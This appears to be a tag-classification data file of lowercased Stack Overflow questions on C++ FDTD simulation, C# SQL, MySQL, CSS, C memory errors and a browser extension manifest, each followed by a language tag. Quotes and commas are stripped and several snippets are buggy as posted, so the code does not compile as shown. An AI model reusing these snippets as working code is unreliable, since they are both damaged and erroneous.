how to improve programming skill for computation   i m physics student and write codes for simulation of electromagnetic waves.i post one of my codes here and my question is how can i improve my code.(not the speed )   <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;math.h&gt; #include &lt;fstream&gt; using namespace std;  #define ie 100 #define je 100 #define ke 100 double ***alloc3d(int l  int m  int n) { double *data = new double [l*m*n]; double ***array = new double **[l]; for (int i=0; i&lt;l; i++) {     array[i] = new double *[m];     for (int j=0; j&lt;m; j++) {         array[i][j] = &amp;(data[(i*m+j)*n]);     } } return array; }    int main()  { //////////////////////declartion///////////////////////////// int const nfreqs=100 ia=7 ja=7 ka=7; double const pi=3.14159; int i j; double ***gax=alloc3d(ie je ke); double ***gay=alloc3d(ie je ke); double ***gaz=alloc3d(ie je ke); double ***gbx=alloc3d(ie je ke); double ***gby=alloc3d(ie je ke); double ***gbz=alloc3d(ie je ke); double ***dx=alloc3d(ie je ke); double ***dy=alloc3d(ie je ke); double ***dz=alloc3d(ie je ke); double ***ex=alloc3d(ie je ke); double ***ey=alloc3d(ie je ke); double ***ez=alloc3d(ie je ke); double ***sx=alloc3d(ie je ke); double ***sy=alloc3d(ie je ke); double ***sz=alloc3d(ie je ke); double ***hx=alloc3d(ie je ke); double ***hy=alloc3d(ie je ke); double ***hz=alloc3d(ie je ke); double ***ix=alloc3d(ie je ke); double ***iy=alloc3d(ie je ke); double ***iz=alloc3d(ie je ke); double ***idyl=alloc3d(ie je ke); double ***ihyl=alloc3d(ie je ke);  double*** idxl=new double**[ia]; double*** idxh=new double**[ia]; double*** ihxl=new double**[ia]; double*** ihxh=new double**[ia]; for(i=0;i&lt;ia;i++) {     idxl[i]=new double *[je];     idxh[i]=new double *[je];     ihxl[i]=new double *[je];     ihxh[i]=new double *[je];     for(j=0;j&lt;je;j++)     {         idxl[i][j]=new double [ke];         idxh[i][j]=new double [ke];         ihxl[i][j]=new double [ke];         ihxh[i][j]=new double [ke];     } }  double***idzl=new double**[ie]; double***idzh=new double**[ie]; double***ihzl=new double**[ie]; double***ihzh=new double**[ie]; for(i=0;i&lt;ie;i++) {     idzl[i]=new double *[je];     idzh[i]=new double *[je];     ihzl[i]=new double *[je];     ihzh[i]=new double *[je];     for(j=0;j&lt;je;j++){         idzl[i][j]=new double [ka];         idzh[i][j]=new double [ka];         ihzl[i][j]=new double [ka];         ihzh[i][j]=new double [ka];     } } double *gi1=new double [ie]; double *gi2=new double [ie]; double *gi3=new double [ie]; double *gj1=new double [je]; double *gj2=new double [je]; double *gj3=new double [je]; double *gk1=new double [ke]; double *gk2=new double [ke]; double *gk3=new double [ke]; double *fi1=new double [ie]; double *fi2=new double [ie]; double *fi3=new double [ie]; double *fj1=new double [je]; double *fj2=new double [je]; double *fj3=new double [je]; double *fk1=new double [ke]; double *fk2=new double [ke]; double *fk3=new double [ke]; int    l n m k ic jc kc nsteps numsph npml ib jb kb ixh jyh kzh ke percent; double xn xxn xnum xd curl_e curl_h freqi freqf; double *ez_inc=new double [je]; double *hx_inc=new double [je]; double t0 spread pulse; double *freq=new double [nfreqs]; double *arg=new double [nfreqs]; double***real_pt=new double**[nfreqs]; double***imag_pt=new double**[nfreqs]; for(m=0;m&lt;nfreqs;m++) {     real_pt[m]=new double *[ie];     imag_pt[m]=new double *[ie];     for(i=0;i&lt;ie;i++){         real_pt[m][i]=new double [je];         imag_pt[m][i]=new double [je];     } } double***real_pt_sx=new double**[nfreqs]; double***imag_pt_sx=new double**[nfreqs]; for(m=0;m&lt;nfreqs;m++) {     real_pt_sx[m]=new double *[ie];     imag_pt_sx[m]=new double *[ie];     for(i=0;i&lt;ie;i++){         real_pt_sx[m][i]=new double [je];         imag_pt_sx[m][i]=new double [je];     } } double***real_pt_sy=new double**[nfreqs]; double***imag_pt_sy=new double**[nfreqs]; for(m=0;m&lt;nfreqs;m++) {     real_pt_sy[m]=new double *[ie];     imag_pt_sy[m]=new double *[ie];     for(i=0;i&lt;ie;i++){         real_pt_sy[m][i]=new double [je];         imag_pt_sy[m][i]=new double [je];     } } double***real_pt_sz=new double**[nfreqs]; double***imag_pt_sz=new double**[nfreqs]; for(m=0;m&lt;nfreqs;m++) {     real_pt_sz[m]=new double *[ie];     imag_pt_sz[m]=new double *[ie];     for(i=0;i&lt;ie;i++){         real_pt_sz[m][i]=new double [je];         imag_pt_sz[m][i]=new double [je];     } }  double *real_in=new double[nfreqs]; double *imag_in=new double[nfreqs]; double *amp_in=new double[nfreqs]; double *phase_in=new double[nfreqs]; ic=ie/2; jc=je/2; kc=ke/2; ddx=2e-9; dt=ddx/6e8; epsz=8.8e-12; ib=ie-ia-1; jb=je-ja-1; kb=ke-ka-1; /////////////////////////////initilization/////////////////////// ez_low_m2=0; ez_high_m2=0; ez_low_m1=0; ez_high_m1=0; for(j=0;j&lt;je;j++){     ez_inc[j]=0.0;     hx_inc[j]=0.0;     for(i=0;i&lt;ie;i++){      }} for (k=0;k&lt;ke;k++){     for(j=0;j&lt;je;j++){         for(i=0;i&lt;ie;i++){             ex[i][j][k]=0.0;             ey[i][j][k]=0.0;             ez[i][j][k]=0.0;             sx[i][j][k]=0.0;             sy[i][j][k]=0.0;             sz[i][j][k]=0.0;             ix[i][j][k]=0.0;             iy[i][j][k]=0.0;             iz[i][j][k]=0.0;             dx[i][j][k]=0.0;             dy[i][j][k]=0.0;             dz[i][j][k]=0.0;             hx[i][j][k]=0.0;             hy[i][j][k]=0.0;             hz[i][j][k]=0.0;             gax[i][j][k]=1.0;             gay[i][j][k]=1.0;             gaz[i][j][k]=1.0;             gbx[i][j][k]=0.0;             gby[i][j][k]=0.0;             gbz[i][j][k]=0.0;             idyl[i][j][k]=0.0;             ihyl[i][j][k]=0.0;         }}} for(i=0;i&lt;ia;i++){     for(j=0;j&lt;je;j++){         for(k=0;k&lt;ke;k++){             idxl[i][j][k]=0.0;             idxh[i][j][k]=0.0;             ihxl[i][j][k]=0.0;             ihxh[i][j][k]=0.0;         }}}  for(i=0;i&lt;ie;i++){     for(j=0;j&lt;je;j++){         for(k=0;k&lt;ka;k++){             idzl[i][j][k]=0.0;                idzh[i][j][k]=0.0;             ihzl[i][j][k]=0.0;             ihzh[i][j][k]=0.0;         }}} for(i=0;i&lt;ie;i++){     gi1[i]=0.0;     fi1[i]=0.0;     gi2[i]=1.0;     fi2[i]=1.0;     gi3[i]=1.0;     fi3[i]=1.0; } for(j=0;j&lt;je;j++){     gj1[j]=0.0;     fj1[j]=0.0;     gj2[j]=1.0;     fj2[j]=1.0;     gj3[j]=1.0;     fj3[j]=1.0; } for(k=0;k&lt;ke;k++){     gk1[k]=0.0;     fk1[k]=0.0;     gk2[k]=1.0;     fk2[k]=1.0;     gk3[k]=1.0;     fk3[k]=1.0; } for(n=0;n&lt;nfreqs;n++){     real_in[n]=0.0;     imag_in[n]=0.0;     amp_in[n]=0.0;     phase_in[n]=0.0;     for(j=0;j&lt;je;j++){         for(i=0;i&lt;ie;i++){             real_pt[n][i][j]=0.0;             imag_pt[n][i][j]=0.0;             real_pt_sx[n][i][j]=0.0;             imag_pt_sx[n][i][j]=0.0;             real_pt_sy[n][i][j]=0.0;             imag_pt_sy[n][i][j]=0.0;             real_pt_sz[n][i][j]=0.0;             imag_pt_sz[n][i][j]=0.0;         }}} lambdai=200e-9; lambdaf=700e-9; freqi=2e8/lambdai; freqf=7e8/lambdaf; for(i=0;i&lt;nfreqs;i++){     freq[i]=freqi-i*(freqi-freqf)/nfreqs; } for(n=0;n&lt;nfreqs;n++){     arg[n]=2*pi*freq[n]*dt; }  //////////////////////////antena//////////////////////////  t0=20.0; spread =6.0; t=0.0; cout&lt;&lt; enter time --&gt; ; cin&gt;&gt;nsteps; ke=0; ////////////*******************fdtd*******************/////////////////////// for (n=1;n&lt;=nsteps;n++){     t=t+1;     percent=t/nsteps*100;     if (percent&gt;=ke+1) {         cout&lt;&lt;percent&lt;&lt; % &lt;&lt;endl;     }     ke=percent;        /////////////////////source////////////////////     pulse=exp(-.5*(pow((t0-t)/spread 2.0)));     ez_inc[3]=pulse;     //////////////////abc//////////////////////////////////     ez_inc[0]=ez_low_m2;     ez_low_m2=ez_low_m1;     ez_low_m1=ez_inc[1];     ez_inc[je-1]=ez_high_m2;     ez_high_m2=ez_high_m1;     ez_high_m1=ez_inc[je-2];     //////////////////////////update dx///////////////////////////////     for(i=1;i&lt;ia;i++){         for(j=1;j&lt;je;j++){             for(k=1;k&lt;ke;k++){                 curl_h=(hz[i][j][k]-hz[i][j-1][k]-hy[i][j][k]+hy[i][j][k-1]);                 idxl[i][j][k]=idxl[i][j][k]+curl_h;                 dx[i][j][k]=x[i][j][k]+gj2[j]*gk2[k]*.5*(curl_h+gi1[i]*idxl[i][j][k]);             }}}     for(i=ia;i&lt;=ib;i++){         for(j=1;j&lt;je;j++){             for(k=1;k&lt;ke;k++){                 curl_h=(hz[i][j][k]-hz[i][j-1][k]-hy[i][j][k]+hy[i][j][k-1]);                 dx[i][j][k]=gj3[j]*gk3[k]*dx[i][j][k]+gj2[j]*gk2[k]*.5*curl_h;             }}}     for(i=ib+1;i&lt;ie;i++){         ixh=ie-i-1;         for(j=1;j&lt;je;j++){             for(k=1;k&lt;ke;k++){                 curl_h=(hz[i][j][k]-hz[i][j-1][k]-hy[i][j][k]+hy[i][j][k-1]);                 idxh[ixh][j][k]=idxh[ixh][j][k]+curl_h;                 dx[i][j][k]=dx[i][j][k]+gj2[j]*gk2[k]*.5*(curl_h+gi1[i]*idxh[ixh][j][k]);             }}}     /////////////////////////update dy/////////////////////////////////     for(i=1;i&lt;ie;i++){         for(j=1;j&lt;je;j++){             for(k=1;k&lt;ke;k++){                 curl_h=(hx[i][j][k]-hx[i][j][k-1]-hz[i][j][k]+hz[i-1][j][k]);                 idyl[i][j][k]=idyl[i][j][k]+curl_h;                 dy[i][j][k]=y[i][j][k]+gi2[i]*gk2[k]*.5*(curl_h+gj1[j]*idyl[i][j][k]);             }}}       ////////////////////////update dz///////////////////////////////////      for(i=1;i&lt;ie;i++){         for(j=1;j&lt;je;j++){             for(k=0;k&lt;ka;k++){                 curl_h=(hy[i][j][k]-hy[i-1][j][k]-hx[i][j][k]+hx[i][j-1][k]);                 idzl[i][j][k]=idzl[i][j][k]+curl_h;                 dz[i][j][k]=gi3[i]*gj3[j]*dz[i][j][k]+gi2[i]*gj2[j]*.5*(curl_h+gk1[k]*idzl[i][j][k]);             }}}     for(i=1;i&lt;ie;i++){         for(j=1;j&lt;je;j++){             for(k=ka;k&lt;=kb;k++){                 curl_h=(hy[i][j][k]-hy[i-1][j][k]-hx[i][j][k]+hx[i][j-1][k]);                 dz[i][j][k]=gi3[i]*gj3[j];             }}}     for(i=1;i&lt;ie;i++){         for(j=1;j&lt;je;j++){             for(k=kb+1;k&lt;ke;k++){                 kzh=ke-k-1;                 curl_h=(hy[i][j][k]-hy[i-1][j][k]-hx[i][j][k]+hx[i][j-1][k]);                 idzh[i][j][kzh]=idzh[i][j][kzh]+curl_h;                 dz[i][j][k]=gi3[i]*gj3[j]*dz[i][j][k]+             }}}     ///////////////////////////////&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;incident dz&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;////////////////////////////      ////////////////////////////source///////////////////////////       pulse=exp(-.5*(pow((t0-t)/spread 2.0)));      dz[ic][jc][kc]=pulse;        ////////////////////////////////{{{{{{{{{{{update ex ey ez}}}}}}}}}}}}///////////////////////     for(i=1;i&lt;ie-1;i++){         for(j=1;j&lt;je-1;j++){             for(k=1;k&lt;ke-1;k++){                 ex[i][j][k]=gax[i][j][k]*(dx[i][j][k]-ix[i][j][k]);                 ix[i][j][k]=ix[i][j][k]+gbx[i][j][k]*ex[i][j][k];                 ey[i][j][k]=gay[i][j][k]*(dy[i][j][k]-iy[i][j][k]);                 iy[i][j][k]=iy[i][j][k]+gby[i][j][k]*ey[i][j][k];                 ez[i][j][k]=gaz[i][j][k]*(dz[i][j][k]-iz[i][j][k]);                 iz[i][j][k]=iz[i][j][k]+gbz[i][j][k]*ez[i][j][k];             }}}      //////////////////////////////update hx///////////////////////////////////     for(i=0;i&lt;ia;i++){         for(j=0;j&lt;je-1;j++){             for(k=0;k&lt;ke-1;k++){                 curl_e=(ey[i][j][k+1]-ey[i][j][k]-ez[i][j+1][k]+ez[i][j][k]);                 ihxl[i][j][k]=ihxl[i][j][k]+curl_e;                 hx[i][j][k]=fj3[j]*fk3[k]*hx[i][j][k]+fj2[j]*fk2[k]*.5*(curl_e+fi1[i]*ihxl[i][j][k]);             }}}     for(i=ia;i&lt;=ib;i++){         for(j=0;j&lt;je-1;j++){             for(k=0;k&lt;ke-1;k++){                 curl_e=(ey[i][j][k+1]-ey[i][j][k]-ez[i][j+1][k]+ez[i][j][k]);                 hx[i][j][k]=.5*curl_e;             }}}     for(i=ib+1;i&lt;ie;i++){         ixh=ie-i-1;         for(j=0;j&lt;je-1;j++){             for(k=0;k&lt;ke-1;k++){                 curl_e=(ey[i][j][k+1]-ey[i][j][k]-ez[i][j+1][k]+ez[i][j][k]);                 ihxh[ixh][j][k]=ihxh[ixh][j][k]+curl_e;      fj3[j]*fk3[k]*hx[i][j][k]+fj2[j]*fk2[k]*.5*(curl_e+fi1[i]*ihxh[ixh][j][k]);             }}}     /////////////////////////////incident hx////////////////////////////////////     /*for(i=ia;i&lt;=ib;i++){         for(k=ka;k&lt;=kb;k++){             hx[i][ja-1][k]=hx[i][ja-1][k]+.5*ez_inc[ja];             hx[i][jb][k]=hx[i][jb][k]-.5*ez_inc[jb];         }     }*/     //////////////////////////////update hy/////////////////////////////////////     for(i=0;i&lt;ie-1;i++){         for(j=0;j&lt;je;j++){             for(k=0;k&lt;ke-1;k++){                 curl_e=(ez[i+1][j][k]-ez[i][j][k]-ex[i][j][k+1]+ex[i][j][k]);                 ihyl[i][j][k]=ihyl[i][j][k]+curl_e;                 hy[i][j][k]=fi3[i]*fk3[k]*hy[i][j][k]+fi2[i]*fk2[k]*.5*(curl_e+fj1[j]*ihyl[i][j][k]);             }}}     /*for(i=0;i&lt;ie-1;i++){         for(j=ja;j&lt;=jb;j++){             for(k=0;k&lt;ke-1;k++){                 curl_e=(ez[i+1][j][k]-ez[i][j][k]-ex[i][j][k+1]+ex[i][j][k]);                 hy[i][j][k]=fi3[i]*fk3[k]*hy[i][j][k]+fi2[i]*fk2[k]*.5*curl_e;             }}}     for(i=0;i&lt;ie-1;i++){         for(j=jb+1;j&lt;je;j++){             jyh=je-j-1;             for(k=0;k&lt;ke-1;k++){                 curl_e=(ez[i+1][j][k]-ez[i][j][k]-ex[i][j][k+1]+ex[i][j][k]);                 ihyh[i][jyh][k]=ihyh[i][jyh][k]+curl_e;                 hy[i][j][k]=fi3[i]*fk3[k]*hy[i][j][k]+fi2[i]*fk2[k]*.5*(curl_e+fj1[j]*ihyh[i][jyh][k]);             }}}*/     /////////////////////////////incident hy////////////////////////////////////     /*for(j=ja;j&lt;=jb;j++){         for(k=ka;k&lt;=kb;k++){             hy[ia-1][j][k]=hy[ia-1][j][k]-.5*ez_inc[j];             hy[ib][j][k]  =hy[ib][j][k]  +.5*ez_inc[j];         }     }*/     /////////////////////////////update hz////////////////////////////////////////     for(i=0;i&lt;ie-1;i++){         for(j=0;j&lt;je-1;j++){             for(k=0;k&lt;ka;k++){                 curl_e=(ex[i][j+1][k]-ex[i][j][k]-ey[i+1][j][k]+ey[i][j][k]);                 ihzl[i][j][k]=ihzl[i][j][k]+curl_e;                 hz[i][j][k]=fi3[i]*fj3[j]*hz[i][j][k]+fi2[i]*fj2[j]*.5*         (curl_e+fk1[k]*ihzl[i][j][k]);             }}}     for(i=0;i&lt;ie-1;i++){         for(j=0;j&lt;je-1;j++){             for(k=ka;k&lt;=kb;k++){                 curl_e=(ex[i][j+1][k]-ex[i][j][k]-ey[i+1][j][k]+ey[i][j][k]);                 hz[i][j][k]=fi3[i]*fj3[j]*hz[i][j][k]+fi2[i]*fj2[j]*.5*curl_e;             }}}     for(i=0;i&lt;ie-1;i++){         for(j=0;j&lt;je-1;j++){             for(k=kb+1;k&lt;ke;k++){                 kzh=ke-k-1;                 curl_e=(ex[i][j+1][k]-ex[i][j][k]-ey[i+1][j][k]+ey[i][j][k]);                 ihzh[i][j][kzh]=ihzh[i][j][kzh]+curl_e;                 hz[i][j][k]=fi3[i]*fj3[j]*hz[i][j][k]+fi2[i]*fj2[j]*.5*(curl_e+fk1[k]*ihzh[i][j][kzh]);             }}}   }//********************************end of fdtd*******************************////////////     } </code></pre>   as you can see my code is full of some for loops that acts on some matrixes how can i ignore this for loops for example can i use functions instead of writing that for loops.i really appreciate any suggestion.,c++
c#: how to set query result to combo box in datagridview  i have a datagrid in which i have combobox in a column. on a particular event i want to populate the combo box with result of the query. i wrote this code   <pre><code>string materialquery =  select material_name from tbl_material_master where material_id =  + int.parse(mat_id);             cmd1 = new sqlcommand(materialquery  con);             sdr = cmd1.executereader();             if (sdr.hasrows)             {                 while (sdr.read())                 {                     materialname = sdr[ material_name ].tostring();                     grdpurchase.rows[0].cells[2] = materialname.tostring();                 }             } </code></pre>   but it gives error<br> how do i fix this,c#
is there an equivalent to [[someclass new] autorelease] in objective-c  i know that i could implement as a category on nsobject  but is there an existing method for:   <pre><code>+(id)auto {     return [[self new]autorelease]; } </code></pre>,objective-c
unable to build angularjs using grunt  i m new to angularjs. i m installing the angularjs and stuck at following step:    grunt package.    error is as follows:   <pre><code>loading  gruntfile.js  tasks...error &gt;&gt; error: unable to read cdn version  are you offline or has the cdn not been properly pushed  &gt;&gt;     at object.module.exports (d:\angular.js\gruntfile.js:21:11) &gt;&gt;     at loadtask (d:\angular.js\node_modules\grunt\lib\grunt\task.js:325:10) &gt;&gt;     at task.task.init (d:\angular.js\node_modules\grunt\lib\grunt\task.js:437:5) &gt;&gt;     at object.grunt.tasks (d:\angular.js\node_modules\grunt\lib\grunt.js:120:8) &gt;&gt;     at object.module.exports [as cli] (d:\angular.js\node_modules\grunt\lib\grunt\cli.js:38:9) &gt;&gt;     at object.&lt;anonymous&gt; (c:\users\rnaguban\appdata\roaming\npm\node_modules\grunt-cli\bin\grunt:44:20) &gt;&gt;     at module._compile (module.js:409:26) &gt;&gt;     at object.module._extensions..js (module.js:416:10) &gt;&gt;     at module.load (module.js:343:32) &gt;&gt;     at function.module._load (module.js:300:12) &gt;&gt;     at function.module.runmain (module.js:441:10) &gt;&gt;     at startup (node.js:139:18) &gt;&gt;     at node.js:968:3  running tasks: package warning: task  package  not found. use --force to continue.  aborted due to warnings. </code></pre>   any inputs would be helpful.    thanks ravi,angularjs
building tree of svn repository content  im trying to buil an django app to manage repositories. in repository view i would like to display repository content in tree format (click to expand another level) but i stucked here. let s say that s my adapter s output list (sth like svn list -r result): [ a2a/    a2a/a2a_template.ini    a2a/e_xhotdog.pdm    tcskeleton.ttcn3    unittests/    unittests/lptenb.ttcn3    unittests/pcmd_enbsimulated.ttcn3    unittests/pcmdmod.ttcn3    a2a.robot    howto.txt ]  the aim of this step is to build list of list representation which shows directories and files dependencies. i dont want to do it in an naive way couse it should work for quite big data sets so complexity is quite important. any alghoritm i should be specially interested in  (for better description i can say that result should be similar to linux tree function),python
mysql find replace only the number as a whole  if i use   <pre><code>update oc_product_option_value set quantity = replace( quantity  0  1 );  </code></pre>   it is changing all values that contain a 0 to 1  so even quantities that have 90 are changing to 91  i am looking to change only the fields with values of 0s. this should be relatively straightforward  but i cant find much online or here that answers this specific question,mysql
embed the result of the query in another table  for this question  i m sorry.this is just one a example i want that table t1 has only one column get the even numbers  and then put it on the table t2,sql
how to run two update query in mysql event scheduler   mysql event scheduler is like this :   <pre><code>    create event update_status     on schedule every 2 minute     do     begin     update customer_group     set is_status = 0     where current_timestamp between start_date and end_date;     update customer_group      set is_status = 1     where current_timestamp not between start_date and end_date;     end </code></pre>   when i run the script  there is exist error like this :   <pre><code>error code: 1064 you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near    at line 7 </code></pre>   any solution to solve my problem     thank you very much,mysql
question about instantiating object  i am new to objective c and cocoa. really don t like the syntax as i m from java and c#. i m trying to do something simple and i get the following error:    i import this in using   <pre><code>#import  defaults.h   -(void) awakefromnib{             defaults *thedefaults = [[defaults alloc] init]; }  -(ibaction) addplanets:(id)sender{  [thedefaults setvalue:[planetsbutton titleofselecteditem] forkey:@ planets ]; nslog([planetsbutton titleofselecteditem]); } </code></pre>   the error i get is     unknown receiver thedefaults; did you mean  defaults      can someone help me on what this is,objective-c
"css mouseenter and mouseover  i have been trying to handle mouse-enter and mouse-over event for a list element. i simple want to underline element when mouse enter   highlight element on mouseover/focus and returned to original on mouseleave event. following code is working fine for underline part but not for highlighting part. there are two different operations which i want to handle on underline and focus accordingly.  please help.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>underlinefunction();
 focusfunction();</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.nav li {
   display: block;
   padding-bottom: 8px;
 }
 
 .nav li a {
   position: relative;
   padding: 4px 2px 2px 0px;
   text-decoration: none;
   color: blue;
   text-align: left;
 }
 
 .nav li a:after {
   content:   ;
   position: absolute;
   bottom: 0;
   left: 0px;
   height: 2px;
   width: 0;
   background: blue;
   text-align: left;
 }
 
 .nav li a:hover:after {
   width: 100%;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html&gt;
 
 &lt;head&gt;
 
   &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/3.2.0/jquery.min.js &gt;&lt;/script&gt;
 &lt;/head&gt;
 
 &lt;body&gt;
   &lt;div class= navbar-collapse collapse &gt;
     &lt;ul class= nav &gt;
       &lt;li id= btnabout &gt;&lt;a href= #parallax &gt;&lt;strong&gt;about&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
       &lt;li id= btnportfolio &gt;&lt;a href= #portfolio &gt;&lt;strong&gt;portfolioportfolio&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
       &lt;li id= btncontact &gt;&lt;a href= #contact &gt;&lt;strong&gt;contact&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
     &lt;/ul&gt;
   &lt;/div&gt;
 &lt;/body&gt;
 
 
 &lt;/html&gt;</code></pre>
 </div>
 </div>",css
python permutations of a huge matrix  i want to create permutations of a matrix  which has 10 rows with 70 items each. every item contains either <code>true</code> or <code>false</code>. i need to create permutations of this matrix. the problem is that i would need to write 1400 <code>for</code> statements. is there a better way to do these permutations    <pre><code>matrix = [[false for i in range(0  70)] for i in range(0  10)] possible_items = [true  false] </code></pre>   edit: loop through all possible combinations of all <code>true</code> and <code>false</code> items in the matrix.,python
enable of control after excel open  i want to enable a control after excel is opened.but i am unable to enable the control.below is my code.please help me out.   <pre><code>protected void btnserviceorder_click(object sender  eventargs e)     {                  response.contenttype =  application/ms-excel ;         response.appendheader( content-disposition    attachment;         filename=service_order.xlsx );         response.writefile( ~/filetemplates/test.xlsx );         response.flush();         response.close();      } </code></pre>,asp.net
why my c string stack have the invalid write reported by valgrind-3.1.1  valgrind report the invalid write of size 8    at 0x4007a0:arraycstringpush    by 0x4008f8:main    address 0x4a0a450 is 0 bytes after a block of size 8 alloc d    at 0x4905d27: calloc    by 0x.......: arraycstringnew    by 0x.......: main    why report this error   and how to fix the problem. thanks!   <pre><code>  //arrayofcstring.h    typedef struct {   int numofelems;   int size;   int allocsize;   char** elems;   //size_t elemallocsize;   } arraycstring;  void arraycstringnew(arraycstring *s int allocs) {  s-&gt;allocsize=allocs;  s-&gt;numofelems=0;    s-&gt;size=0;  s-&gt;elems=(char **)calloc(s-&gt;allocsize sizeof(int));  assert(s-&gt;elems!=0);  }  void arraycstringgrow(arraycstring *s){      if(((s-&gt;numofelems)+1)&gt;(s-&gt;allocsize)){      s-&gt;allocsize=(s-&gt;allocsize)*2;      s-&gt;elems=(char**)realloc(s-&gt;elems (s-&gt;allocsize)*sizeof(int));       }  }    void arraycstringpush(arraycstring *s char *elem int lengthofelem){     arraycstringgrow(s);     //(s-&gt;elems)[s-&gt;numofelems]=(char *)malloc(lengthofelem);      (s-&gt;elems)[s-&gt;numofelems]=(char *)calloc(lengthofelem sizeof(int));     printf( start to realloc numofelem is %i  allocsize is %i\n  s-&gt;numofelems s-&gt;allocsize);      strcpy((s-&gt;elems)[s-&gt;numofelems] elem);     //assert((s-&gt;elems)!=0);     printf( push %s\n  s-&gt;elems[s-&gt;numofelems]);     s-&gt;numofelems+=1;   }   char *arraycstringindex(arraycstring *s int i)   {   //assert((s-&gt;numofelems)&gt;i);     return s-&gt;elems[i];     }   void arraycstringdelete(arraycstring *s)  {   int a=0;   for(;a&lt;(s-&gt;numofelems);++a){    free((s-&gt;elems)[a]);                         }    free(s-&gt;elems);    }       //main function     #include &lt;stdio.h&gt;     #include &lt;stdlib.h&gt;     #include &lt;string.h&gt;     #include &lt;assert.h&gt;     #include  arrayofcstring.h          int main(void){         arraycstring *ep;         ep =(arraycstring *)malloc(1000);         arraycstringnew(ep 2);         arraycstringpush(ep  ysdfsd  7);         printf( start to \n );         arraycstringpush(ep  1213423  8);         int a;         for(a=0;a&lt;2;++a){          char *str=arraycstringindex(ep a);          printf( string is %s\n  str);                   }          arraycstringdelete(ep);         } </code></pre>,c
can css alter an input element s src attribute   is it possible  via css to remove or change the src reference in the markup below     the easy thing to do would be to change the markup  however  this code is in the wild and i need to deal with it as it is  so i m trying to remove the image and use a background image instead.   <pre><code>&lt;input type= image  src= wp-content/uploads/image.png  name= submit  class= submit  value= submit  /&gt;  </code></pre>,css
change style of first li a <span> when hovering the other <li>  anyone know how to make <code>&lt;span&gt;</code> .class change in first <code>&lt;li&gt;</code> when hovering other <code>&lt;li&gt; s</code>      <a href= http://jsfiddle.net/3d5wfvpd/1  rel= nofollow >jsfiddle</a>,css
adding/updating/removing item in a list with linq  i have a list of objects myobjects called candidatelistofmyobjects and another list called initiallistofmyobjects. i m writing a method that updates  deletes or adds instances of myobjects to the list with linq     this works inside a loop:   <pre><code>myobject thisobject = new myobject(); //myobject has a field call objectid  for (int index = 0; index &lt; listofmyobjects.count; index++) {   thisobject = null;   thisobject = listofmyobjects[index];    if (condition)   {      add thisobject to initiallistofmyobjects   }    if (condition)   {      replace the myobject with id thisobject.id in the initiallistofmyobjects with thisobject   }    if (condition)   {      delete the thisobject with id thisobject.id from the initiallistofmyobjects   } } </code></pre>   for now  i m looping through the initiallistofmyobjects but as i am looking at my code  i m doing loops inside loops so i m sure that s not the best way to do it.    thanks for your suggestions.,c#
"extension option display blank in edge only in my extension  <strong>i m developing an extension myself and ran into a problem where options page is blank in edge. there is problem in accessing the extension data  it give me error of   securityerror . my extension working in all other browser so i could not identify what caused the issue and what was the solution to it. can you please guide me through the issue so that i can solve it   here is my manifest.json file.</strong>    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>{
    author : team  
    background :{
      page : background.html  
      persistent :true
   } 
    browser_action :{
      default_icon :{
        19 : img/icon19.png  
        38 : img/icon38.png 
     } 
      default_popup : button/popup.html  
      default_title : __msg_click_for_details__ 
   } 
    content_scripts :[
     {
        all_frames :true 
        js :[
          js/bandaids.js 
       ] 
        matches :[
          *://*.facebook.com/*  
          *://*.mail.live.com/*  
          *://*.mastertoons.com/*  
          *://*.mobilmania.cz/*  
          *://*.zive.cz/*  
          *://*.doupe.cz/*  
          *://*.e15.cz/*  
          *://*.sportrevue.cz/*  
          *://*.autorevue.cz/*  
          *://*.youtube.com/* 
       ] 
        run_at : document_start 
     } 
     {
        all_frames :true 
        js :[
          lib/jquery.min.js  
          lib/punycode.min.js  
          js/port.js  
          js/functions.js  
          filtering/filteroptions.js  
          js/adblock_start_common.js  
          js/adblock_start_chrome.js  
          contentscript.js 
       ] 
        matches :[
          http://*/*  
          https://*/* 
       ] 
        run_at : document_start 
     } 
     {
        all_frames :false 
        js :[
          uiscripts/blacklisting/rightclick_hook.js 
       ] 
        matches :[
          http://*/*  
          https://*/* 
       ] 
        run_at : document_end 
     }
   ] 
    content_security_policy : default-src  self ; style-src  self   unsafe-inline ; connect-src *; img-src *;  
 
    default_locale : en  
    description : hassle-free ad blocker with a twist. win cash prizes by opting into acceptable ads  one raffle ticket for every ad you see.  
    icons :{
      128 : img/icon128.png  
      16 : img/icon16.png  
      48 : img/icon48.png 
   } 
    incognito : spanning  
    key : emghbjjpdkocbmeibmkblchiognbjiji  
    manifest_version :2 
    minimum_chrome_version : 49  
    name :   
    short_name :    
    optional_permissions :[
      management 
   ] 
    options_page : options/index.html  
    permissions :[
      http://*/*  
      https://*/*  
      privacy  
      contextmenus  
      tabs  
      idle  
      webrequest  
      webrequestblocking  
      webnavigation  
      alarms  
      storage  
      notifications 
   ] 
    version : 0.0.6  
    web_accessible_resources :[
      jquery/css/images/ui-bg_inset-hard_100_fcfdfd_1x100.png  
      jquery/css/images/ui-icons_056b93_256x240.png  
      jquery/css/images/ui-icons_d8e7f3_256x240.png  
      jquery/css/jquery-ui.custom.css  
      jquery/css/override-page.css  
      img/icon19.png  
      img/icon24.png 
   ]
 }</code></pre>
 </div>
 </div>",jquery
